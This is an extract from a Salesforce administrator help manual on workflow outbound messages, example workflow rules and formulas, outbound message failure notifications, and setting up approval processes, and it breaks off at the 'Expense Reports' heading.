Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To define, edit, or delete outbound messages: Customize Application

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. When you associate an outbound message with a workflow rule, approval process, or entitlement process, the outbound message sends the selected information to the associated endpoint URL whenever the workflow rule or approval process is triggered. Once the endpoint URL receives the message, it can take the information from the message and process it, assuming that the Web service has been configured appropriately. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections. Note: Outbound messages cannot be associated with workflow rules on custom junction objects.

To define outbound messages: 1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action. 2. Click New Outbound Message. 3. Choose the object that has the information you want included in the outbound message, and click Next. Tip: To create workflow rules for case comments so that comments added to cases send outbound messages when a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule. 4. Configure the outbound message. a. Enter a name for this outbound message. b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed package installations. The requirement for uniqueness is only within the selected object type. You can have actions of the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. Enter a description for this outbound message.

1663

Create

Managing Outbound Messages

d. Enter an endpoint URL for the recipient of the message. Salesforce sends a SOAP message to this endpoint. e. Select the Salesforce user to use when sending the message. The chosen user controls data visibility for the message that is sent to the endpoint. f. Check the Protected Component check box to mark the outbound message as protected. For more information, see the Force.com Quick Reference for Developing Packages. g. Select Send Session ID if you want the Salesforce session ID included in the outbound message. Include the session ID in your message if you intend to make API calls and you do not want to include a username and password. Sending a username and password is less secure than sending a session ID. h. Select Add failures to failed outbound message related list if you want this message to move to the failed outbound messages related list after all retries have been attempted. If you do not see this option, failed outbound messages notifications have not been enabled for your organization. Contact your salesforce.com representative. i. Select the fields you want included in the outbound message and click Add. 5. Click Save, and review the outbound message detail page: Note the automatically generated API Version field set to the current API version when the outbound message was created. This API version is used in any API calls back to Salesforce using the enterprise or partner WSDLs. The API Version can only be modified by using the Metadata API. Click the Click for WSDL link to view the WSDL associated with this message. The WSDL is bound to the outbound message and contains the instructions about how to reach the endpoint service and what data is sent to it. 6. If your endpoint uses a client certificate, right-click the Download Client Certificate link on the outbound message detail page, and save the certificate to the appropriate location. Then you can import the downloaded certificate into your application server, and configure your application server to request the client certificate. 7. To set outbound messages into action, associate them with a workflow rule, approval process, or entitlement process. Note: If you do not have these options, your organization does not have outbound messages enabled. Contact salesforce.com to enable outbound messages for your organization.

See Also:
Tracking Outbound Message Delivery Status Managing Outbound Messages Managing Workflow and Approvals Entitlement Management Overview Web Services API Developer's Guide

1664

Create

Managing Outbound Messages

Selecting Existing Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To select existing actions: Customize Application

Workflow actions created for a workflow rule or approval process can be associated with other workflow rules and approval processes. To associate existing workflow actions with a workflow rule: 1. 2. 3. 4. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules. Select the workflow rule. Click Edit in the Workflow Actions section. Click Add Workflow Action in either the Immediate Workflow Actions or Time-Dependent Actions section, depending on when you want the action to occur, and choose Select Existing Action. See Configure Workflow Actions on page 1642. 5. Select the type of action you want to associate with the workflow rule. The Available Actions box lists all existing actions of the selected type. 6. Optionally, enter the name of a specific action in the text field and click Find. 7. Select the actions in the Available Actions box and use the right arrow to move the actions to the Selected Actions box. If necessary, select the left arrow to move actions from the Selected Actions box to the Available Actions box. 8. Click Save when you are done. To associate existing workflow actions with an approval process: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Click the name of an existing approval process. 3. Depending on when you want the action to occur, do one of the following: Click Add Existing in the Initial Submission Actions, Final Approval Actions, Final Rejection Actions, or Recall Actions section. Click Show Actions in the Approval Steps section, then click Add Existing in the Approval, Rejection, or Recall Actions section.

See Selecting Approval Actions on page 1710. 4. Select the type of action you want to associate with the approval process. The Available Actions box lists all existing actions of the selected type. 5. Optionally, enter the name of a specific action in the text field and click Find. 6. Select the actions in the Available Actions box that you want to associate with the approval process, and use the right arrow to move the actions to the Selected Actions box. If necessary, select the actions in the Selected Actions box that you do not want to associate with the approval process, and use the left arrow to move the actions to the Available Actions box.

1665

Create

Managing Outbound Messages

7. Click Save when you are done.

See Also:
Managing Workflow Rules Creating Workflow Rules Managing Workflow Actions

Examples of Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change workflow rules, email alerts, tasks, field updates, and outbound messages: Customize Application

Use the following workflow rule examples to learn how you can implement common business objectives. Business Process Follow Up when a Platinum Contract Case Closes New Customer Credit Check Platinum Account Owner Visibility on High Priority Cases Cross-Object Processes Cases Filed for Top Accounts Setting Default Opportunity Name Setting the Target Resolution Date for Cases Updating Application Record When Candidate Accepts Job Deal Management Tracking Closed Opportunities Default Opportunity Close Date Reporting Lost Opportunities Unassigned Lead Management Notifications Change of Account Owner Contact Birthday Reminder High Value Opportunity

1666

Create

Managing Outbound Messages

Notify Account Owners of Updates by Others

See Also:
Managing Workflow and Approvals Managing Workflow Actions Creating Workflow Rules Time-Dependent Action and Time Trigger Considerations Managing Email Alerts Managing Tasks for Workflow and Approvals Managing Field Updates

Business Process
Follow Up when a Platinum Contract Case Closes This example assumes there is a Contract Type custom picklist used to identify the contract level on cases, and that the picklist contains the value Platinum. Object Case Description Send a feedback request in email to the case contact seven days after a high priority case is closed if the customer has a platinum contract agreement. Evaluation Criteria When a record is created, or when a record is edited and did not previously meet the rule criteria. Rule Criteria (Filter) Run this rule if the following criteria are met:
(Case: Priority equals High) and (Case: Closed equals True) and (Case: Contract Type equals Platinum)

Immediate Actions None. Time-Dependent Actions 7 Days After Case: Date/Time Closed Email Alert: Send a feedback request to the case contact. New Customer Credit Check This example assumes there is a New Customer custom field on opportunities.

1667

Create

Managing Outbound Messages

Object Opportunity Description Assign the Accounts Receivable (AR) department a task to check the credit of a potential customer 15 days before the opportunity close date if the amount is greater than $50,000. Evaluation Criteria When a record is created, or when a record is edited and did not previously meet the rule criteria. Rule Criteria (Filter) Run this rule if the following criteria are met:
(Opportunity: Amount greater than 50000) and (Opportunity: Closed equals False) and (Opportunity: New Customer equals True)

Immediate Actions None. Time-Dependent Actions 15 Days Before Opportunity: Close Date Task: Create a task for users in the Accounts Receivable role to run a credit check. Platinum Account Owner Visibility on High Priority Cases This example assumes there is a Service Level Agreement custom picklist called SLA that identifies the agreement level on accounts and contains the value Platinum. Object Case Description Notify the account owner when a high priority case is created for accounts with a platinum service level agreement. Evaluation Criteria Only when a record is created. Rule Criteria (Filter) Run this rule if the following criteria are met:
(Case: Priority equals High) and (Account: SLA equals Platinum)

Immediate Actions
Email Alert: Email the details of the high priority case to the account owner.

Time-Dependent Actions None.

1668

Create

Managing Outbound Messages

Cross-Object Processes
Cases Filed for Top Accounts Use the following workflow rule if your sales VP wants to know about any cases filed for top accounts, where top accounts are determined by size and revenue. Object Case Description Notify Sales VP about any cases filed for top accounts. Evaluation Criteria Only when a record is created. Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

Immediate Actions
Email Alert: Notify VP about cases for big accounts.

Time-Dependent Actions None. Setting Default Opportunity Name The opportunity naming convention for some companies is Account Name: Opportunity Name. To automate the default name of each opportunity in your organization, create the workflow rule below. Object Opportunity Description Enforce opportunity naming convention. Evaluation Criteria Every time a record is created or edited Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
NOT(CONTAINS( Name, Account.Name ))

Immediate Actions
Field Update: Set opportunity name to the following formula:
Account.Name & ": " & Name

1669

Create

Managing Outbound Messages

Time-Dependent Actions None. Setting the Target Resolution Date for Cases This example illustrates how to automatically set a case resolution date based on the value of a field on the associated account. It uses a custom picklist field on accounts called Support Level, which has three values, Basic, Standard, and Premium, as well as a custom date field on cases called Target Resolution Date. Use the following three workflow rule examples to automatically set the target resolution date of a case based on the support level for the related account. Set Resolution Date for Basic Support Object Case Description Sets the case target resolution date for accounts that have basic support level to 30 days from today. Evaluation Criteria Only when a record is created Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
ISPICKVAL(Account.Support_Level__c , "Basic")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 30

Time-Dependent Actions None. Set Resolution Date for Standard Support Object Case Description Sets the case target resolution date for accounts that have standard support level to 14 days from today. Evaluation Criteria Only when a record is created Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
ISPICKVAL(Account.Support_Level__c , "Standard")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 14

1670

Create

Managing Outbound Messages

Time-Dependent Actions None. Set Resolution Date for Premium Support Object Case Description Sets the case target resolution date for accounts that have premium support level to 5 days from today. Evaluation Criteria Only when a record is created Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
ISPICKVAL(Account.Support_Level__c , "Premium")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 5

Time-Dependent Actions None. Updating Application Record When Candidate Accepts Job Use the following workflow rule if you want to close the Application record when a Candidate accepts a job. Cross-object field updates to the master record are supported between custom objects in a master-detail relationship. Object Candidate Description Changes the Application Status to Closed for the custom Application object when the Candidate Status for the custom Candidate object changes to Accepted. Evaluation Criteria When a record is created, or when a record is edited and did not previously meet the rule criteria. Rule Criteria (Formula) Run this rule if the following criteria are met:
(Candidate: Status equals Accepted)

Immediate Actions
Field Update: Change Application Status field to Closed on parent Application record.

Time-Dependent Actions None.

1671

Create

Managing Outbound Messages

Deal Management
Tracking Closed Opportunities This example assumes there is a Closed Opportunities record type that provides additional information to certain profiles. Note: For information on record types, see Managing Record Types on page 1180.

Object Opportunity Description Change the record type of closed-won opportunities. Evaluation Criteria Every time a record is created or edited. Rule Criteria (Filter) Run this rule if the following criteria are met:
(Opportunity: Closed equals True) and (Opportunity: Stage equals Closed Won)

Immediate Actions
Field Update: Set the record type to Closed Opportunities.

Time-Dependent Actions None. Default Opportunity Close Date Object Opportunity Description Override the default close date from the close of the quarter to six months after the opportunity is created. Evaluation Criteria Only when a record is created. Rule Criteria (Filter) Run this rule if the following criteria are met:
(Opportunity: Closed equals False)

1672

Create

Managing Outbound Messages

Immediate Actions
Field Update: Use the following formula to set the opportunity close date to six months after the creation date:
DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

Time-Dependent Actions None. Reporting Lost Opportunities Object Opportunity Description Notify the VP of Sales when a deal is lost if the stage was Proposal/Price Quote and the amount was greater than $1,000,000. Evaluation Criteria Every time a record is created or edited. Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) , "Proposal/Price Quote"), ISPICKVAL(StageName,"Closed Lost"), (Amount >1000000))

Immediate Actions
Email Alert: Notify the VP of Sales role that the deal was lost.

Time-Dependent Actions None. Unassigned Lead Management This example assumes that all unassigned leads are placed in an unassigned leads queue by a leads assignment rule. Object Lead Description Ensure that unassigned leads are tracked in a timely manner by notifying the manager if a lead is not accepted in two days. Evaluation Criteria When a record is created, or when a record is edited and did not previously meet the rule criteria. Rule Criteria (Filter) Run this rule if the following criteria are met:
Lead Owner equals Unassigned Lead Queue

1673

Create

Managing Outbound Messages

Immediate Actions None. Time-Dependent Actions 2 Days After Lead: Last Modified Date Email Alert: Notify the manager role that there are unassigned leads in the queue that are older than two days. Send Alert if Quote Line Item Discount Exceeds 40% Object Quote Line Item Description Ensure that an email alert is sent if a sales rep applies a quote line item discount that exceeds 40%. Evaluation Criteria When a record is created, or when a record is edited and did not previously meet the rule criteria. Rule Criteria (Filter) Run this rule if the following criteria are met:
Quote Line Item: Discount is greater than 40

Immediate Actions
Email Alert: Notify the manager role that the quote line item discount exceeds 40%.

Notifications
Change of Account Owner Object Account Description Notify key people in the sales department when the owner of an account changes if the account's annual revenue is greater than $1,000,000. Evaluation Criteria Every time a record is created or edited. Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

Immediate Actions
Email Alert: Notify the person in the sales operations role of the change in account ownership.

1674

Create

Managing Outbound Messages

Time-Dependent Actions None. Contact Birthday Reminder This example assumes there is a Next Birthday custom formula field that uses the following formula to calculate the date of the contact's next birthday on contact records:
IF(MONTH(Birthdate)>MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)), IF(MONTH(Birthdate)<MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)), IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)), DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

Object Contact Description Send an email to the contact two days before the contact's birthday. Evaluation Criteria Only when a record is created. Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
(Contact: Birthdate not equal to null) and (Contact: Email not equal to null)

Immediate Actions None. Time-Dependent Actions 2 Days Before Contact: Next Birthday Email Alert: Send a birthday greeting to the contact's email address. High Value Opportunity Object Opportunity Description Remind the opportunity owner and senior management when the close date is approaching for a large deal, an opportunity that has an amount greater than $10,000. Also, create a follow-up task for the opportunity owner if the deal is still open when the close date passes. Evaluation Criteria When a record is created, or when a record is edited and did not previously meet the rule criteria.

1675

Create

Managing Outbound Messages

Rule Criteria (Filter) Run this rule if the following criteria are met:
(Opportunity: Amount greater than 100000) and (Opportunity: Closed equals False)

Immediate Actions None. Time-Dependent Actions 30 Days Before Opportunity: Close Date Email Alert: Notify the opportunity owner that 30 days remain. 15 Days Before Opportunity: Close Date Email Alert: Notify the opportunity owner that 15 days remain. 5 Days After Opportunity: Close Date Task: Create a follow-up task for the opportunity owner to update the deal.
Email Alert: Notify senior management to involve executives.

Notify Account Owners of Updates by Others Object Account Description Notify the account owner when someone else updates the account if the account's annual revenue is greater than $1,000,000. Evaluation Criteria Every time a record is created or edited. Rule Criteria (Formula) Run this rule if the following formula evaluates to true:
AND( (LastModifiedById <> CreatedById), (AnnualRevenue > 1000000) )

Immediate Actions
Email Alert: Notify the account owner that someone else has updated the account.

Time-Dependent Actions None.

Outbound Message Notifications

1676

Create

Outbound Message Notifications

Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To view or edit outbound message notification settings: Customize Application

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Salesforce creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24 hours. This notification is sent to any user that you specify by creating a notification requestone request per user. You can create up to five notification requests. Failed messages are deleted from the failed outbound messages related list after seven days. Before they are removed, you can delete them yourself or request that they be retried again. To view the current outbound message notification requests, click Your Name > Setup > Monitoring > Outbound Message Notifications. You can perform several tasks here: Click Edit to edit a notification. Click Del to delete a notification. Since you can only create five, you may need to delete one before you can create more new notifications. Click New to create a new notification request. Note: If you do not have these options, your organization does not have outbound messages enabled. Contact salesforce.com to enable outbound messages for your organization.

Creating and Editing Outbound Message Notifications

1677

Create

Outbound Message Notifications

Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To view or edit outbound message notification settings: Modify All Data

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Salesforce creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24 hours. This notification is sent to any user that you specify by creating a notification requestone request per user. You can create up to five notification requests. To create a notification request, click Your Name > Setup > Monitoring > Outbound Message Notifications, and click New to display the edit page. 1. Enter a full username, or click the icon to select it from a list of usernames. 2. Click Save to save the request, or Save & New to save this request and start a new notification request. Note: If you do not have these options, your organization does not have outbound messages enabled. Contact salesforce.com to enable outbound messages for your organization.

Viewing Outbound Message Notification Requests


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view or edit outbound message notification settings: Modify All Data

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Salesforce creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24 hours. This notification is sent to any user that you specify by creating a notification requestone request per user. You can create up to five notification requests. This page is displayed when you have saved a new notification request. You can perform several tasks:

1678

Create

Approval Processes Overview

Click Edit to change the username for a notification request, which is simpler than deleting the request and then creating a new one. Click Delete to delete the notification request. Click Clone to create a new notification request with the same username filled in.

Approval Processes Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use approvals: Various user permissions required depending on the action

Your business runs more efficiently with automated processes. For example, you may already have workflow rules that automatically send email alerts or assign tasks based on your internal processes. Approvals take automation one step further, allowing you to specify a sequence of steps that are required to approve a record. An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. For example, your organization may have a two-step process for approving expenses: submitted expenses that are less than $50 are automatically approved, those over $50 must be approved by a manager, and those over $5,000 must also be approved by a Vice President. In this example, your approval process would specify the following: If an expense record is submitted for approval, lock the record so that users cannot edit it and change the status to Submitted. If the amount is $50 or less, automatically approve the request. If the amount is greater than $50, send an approval request to the direct manager. If the amount is greater than $5,000 and the first approval request is approved, send an approval request to the Vice President. If all approval requests are approved, change the status to Approved and unlock the record. If any approval requests are rejected, change the status to Rejected and unlock the record.

An approval process includes the following elements: A name and description to distinguish it from other approval processes Entry criteria if you only want records with certain attributes to be included A designated user who can approve requests Settings to specify who, if anyone, can change a record once it has been submitted for approval Any number of steps that determine the sequence of actions to take when a record matches the criteria. Each step can have up to 40 actions, 10 of each type: email alerts, field updates, tasks, and outbound messages. Up to 40 additional actions that occur when a record is initially submitted Up to 40 additional actions that occur when a record is approved Up to 40 additional actions that occur when a record is rejected

1679

Create

Approval Processes Overview

Up to 40 additional actions that occur when a record is recalled

To begin designing your approval processes, see Getting Started with Approval Processes on page 1682.

See Also:
Creating Approval Processes Approval Process Terminology Examples of Approval Processes

Approval Process Terminology


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use approvals: Various user permissions required depending on the action

The following terminology is used for approval processes in Salesforce: Approval Actions An approval action is an action that occurs as a result of an approval process. There are four types of approval actions: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

Approval steps, initial submission, final approvals, final rejections, and recalls can execute approval actions. Both approval process and workflow rules share actions. Approval Process An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. For more information, see Approval Processes Overview on page 1679.

1680

Create

Approval Processes Overview

Approval Request An email notifying the recipient that a record was submitted for approval and his or her approval is requested. Approval Steps Approval steps assign approval requests to various users and define the chain of approval for a particular approval process. Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow you to specify what happens if an approver rejects the request. Assigned Approver The assigned approver is the user responsible for approving an approval request. Delegated Approver A delegated approver is a user appointed by an assigned approver as an alternate for approval requests. Delegated approvers can't reassign approval requests; they can only approve or reject approval requests. Email Approval Response The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. The first line of the email body may contain one of the following words: approve approved yes reject rejected no

Periods and exclamation marks are also accepted at the end of the word. You can also optionally add comments in the second line of the email body. Users can still click a link in the email to access the approval page as well. This feature is especially useful for organizations with users who receive approval requests on mobile devices. To enable email approval response, see Customizing Workflow and Approval Settings on page 1648. Note: Before enabling email approval response, note that you cannot use this feature with approval processes in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to the end of the first line of the reply email instead of the second. Initial Submission Actions Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval status field to In Progress.

1681

Create

Getting Started with Approval Processes

Final Approval Actions Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status to Approved and send an email notification. Final Rejection Actions Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state. Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action can change the status to Rejected, send an email notification, and unlock the record so that users can edit it before resubmitting. Outbound Message An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Recall Actions Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For example, a recall action can change the status of a request from In Progress to Not Submitted. Record Locking Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing settings. Salesforce automatically locks records that are pending approval. Users must have the Modify All object-level permission for the given object, or the Modify All Data permission, to edit locked records. The Initial Submission Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record Lock actions by default. You cannot edit this default action for initial submission and recall actions. You can still add campaign members to campaigns locked for approval.

See Also:
Approval Processes Overview Getting Started with Approval Processes Approval Process Checklist

Getting Started with Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records

1682

Create

Getting Started with Approval Processes

included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. Before you begin creating an approval process: Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use. Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. See Customizing Workflow and Approval Settings on page 1648.

To automate your organization's processes: 1. 2. 3. 4. 5. 6. 7. Create an approval process. Add steps to your approval process. Specify initial submission actions. Specify final approval actions. Specify final rejection actions. Specify recall actions. If this is the first approval process you are creating: Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit approval requests and track a record's progress through an approval process from the record detail page. See Customizing Page Layouts on page 1191. Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home Tab Page Layouts on page 1214. Populate all custom hierarchy fields with the appropriate values.

8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and actions that comprise your approval process. Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities Reports folder. See Administrative Reports on page 2668 and Activity Reports on page 2666.

See Also:
Approval Process Terminology Approval Process Considerations Managing Approval Processes Using the Approval Process Jump Start Wizard Choosing an Approval Process Wizard Examples of Approval Processes Process Visualizer Overview

Approval Process Checklist

1683

Create

Getting Started with Approval Processes

Available in: Enterprise, Unlimited, and Developer Editions

Plan each approval process carefully to ensure a successful implementation. Review the following checklist about preparing the appropriate information before creating your approval process. Prepare an approval request email template. Determine the approval request sender. Determine the assigned approver. Determine the delegated approver. Decide if your approval process needs a filter. Design initial submission actions. Decide if users can approve requests from a wireless device. Determine if users can edit records that are awaiting approval. Decide if records should be auto-approved or rejected. Determine how many levels your process has. Determine the actions when an approval request is approved or rejected.

What email template do you want to use for approval requests? The email template you specify on an approval process is used when notifying users that an approval request is assigned to them. You can use the default email template Salesforce offers if it is appropriate for your approval process, or you can create your own email template. Include the appropriate approval process merge fields to link directly to the approval request. For details about using merge fields, see Merge Fields Overview on page 426. If your organization has enabled email approval response, the default email template includes instructions for replying to an email approval request by typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and optionally adding comments in the second line. For details on email approval response and the default template, see Customizing Workflow and Approval Settings on page 1648. Determine who should be the sender of approval requests. The approval request notifications are automatically sent from the user who submitted the record for approval. You have the option to assign a different return email address to these notifications. Determine what email address to use. Who will be responsible for approving requests? Requests can be approved or rejected by any of the following: A user or queue that the approval request submitter chooses. A queue specified by the administrator. A user listed in the Manager standard field on the submitter's user detail page. A user listed in a custom hierarchy field on the submitter's user detail page. Any combination of users and related users (users listed in a standard or custom field on the submitted record) specified by the administrator.

Each step in your approval process can assign approval requests using any of these options.

1684

Create

Getting Started with Approval Processes

Should approval requests be delegated to another user for approval? An approval request can be approved by a designated delegate for the approver. However, you have the ability to disable this option. Determine if you want to allow delegated users to approve requests. Then, for each user, populate the Delegated Approver field on the user's detail page. What records should be included in this process? Determine what attributes a record must have to be included in your approval process. If necessary, create the custom fields to store this information so that you can use it in your filter criteria. For example, if you want to include expense records from your headquarters office only, create a custom picklist field called Office Location that has two options: HQ and Field. Then, your filter criteria for the process would specify that records must have HQ in the Office Location field to be included. What should occur when a record is first submitted for approval? When users submit a record for approval, Salesforce automatically locks the record so that other users cannot change it while it is awaiting approval. You can still add campaign members to campaigns locked for approval. Decide if you want other workflow actions to occur when a record is first submitted, such as email alerts, tasks, field updates, and outbound messages. These actions belong on your list of Initial Submission Actions. Should users be able to approve requests from a wireless device? Determine if you want to require users to log in to Salesforce to approve requests. Alternatively, you can set up your approval process to allow users to approve requests remotely using a wireless browser. Who can edit records that are awaiting approval? Records submitted for approval are automatically locked. Users with the Modify All object-level permission for the given object, or the Modify All Data permission, can always unlock a record and edit it. However, you may also specify that the currently assigned approver can edit the record as well. You can still add campaign members to campaigns locked for approval. Should records be automatically approved, rejected, or skipped based on certain criteria? You can set entry criteria for each step of your process, and configure Salesforce to automatically approve, reject, or skip the process if a record does not meet that entry criteria. For example, all expenses submitted with an Amount less than $15 are automatically approved. How many people need to approve these requests? An approval process can have several layers of approvals. Determine how many users need to approve requests and in what order. Should any actions take place when a request is approved or rejected? You can set up to 40 additional actions to take place when a request is recalled, approved, or rejected at each step, up to 10 of each of the following types: Type Task Email Alert Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient.

1685

Create

Getting Started with Approval Processes

Type Field Update Outbound Message

Description Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

Additionally, you can set up to 40 additional actions to take place when a record has received all necessary approvals or is completely rejected.

See Also:
Getting Started with Approval Processes Approval Processes Overview Examples of Approval Processes

Examples of Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

Use these samples of common approval processes to help you get started creating your own: PTO Requests Expense Reports Discounting Opportunities Job Candidates

PTO Requests Most companies require employees to file a PTO (Paid Time Off) request and have their manager approve it. Here's how to automate a simple one-step PTO request process using Salesforce. If you do not yet have a custom object to track your PTO requests, create a custom object and tab called PTO Requests. See Defining Custom Objects on page 1604 and Defining Custom Tabs on page 1631. Add the appropriate fields for your PTO Requests such as Start Date, End Date, and Employee Name. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 436. Use the jump start wizard to create an approval process and specify the following: Select the PTO Request custom object. Select the email template you created for this approval process.

1686

Create

Getting Started with Approval Processes

Do not specify filter criteria if you want each user to submit PTO requests and have them included regardless of their attributes. In the Automatically assign an approver using a standard or custom hierarchy field option, choose the Manager field. The jump start wizard automatically chooses the record owner as the only person who can submit PTO requests. Tip: If you want the submitter to be able to withdraw a submitted PTO request: 1. Click Edit and choose Initial Submitters from the drop-down menu. 2. Select the Allow submitters to recall approval requests option. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page 1709. Add the Approval History related list to the PTO Request object page layout. See Customizing Page Layouts on page 1191. Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1214. If available, use your sandbox to test the approval process. Activate the approval process.

Expense Reports
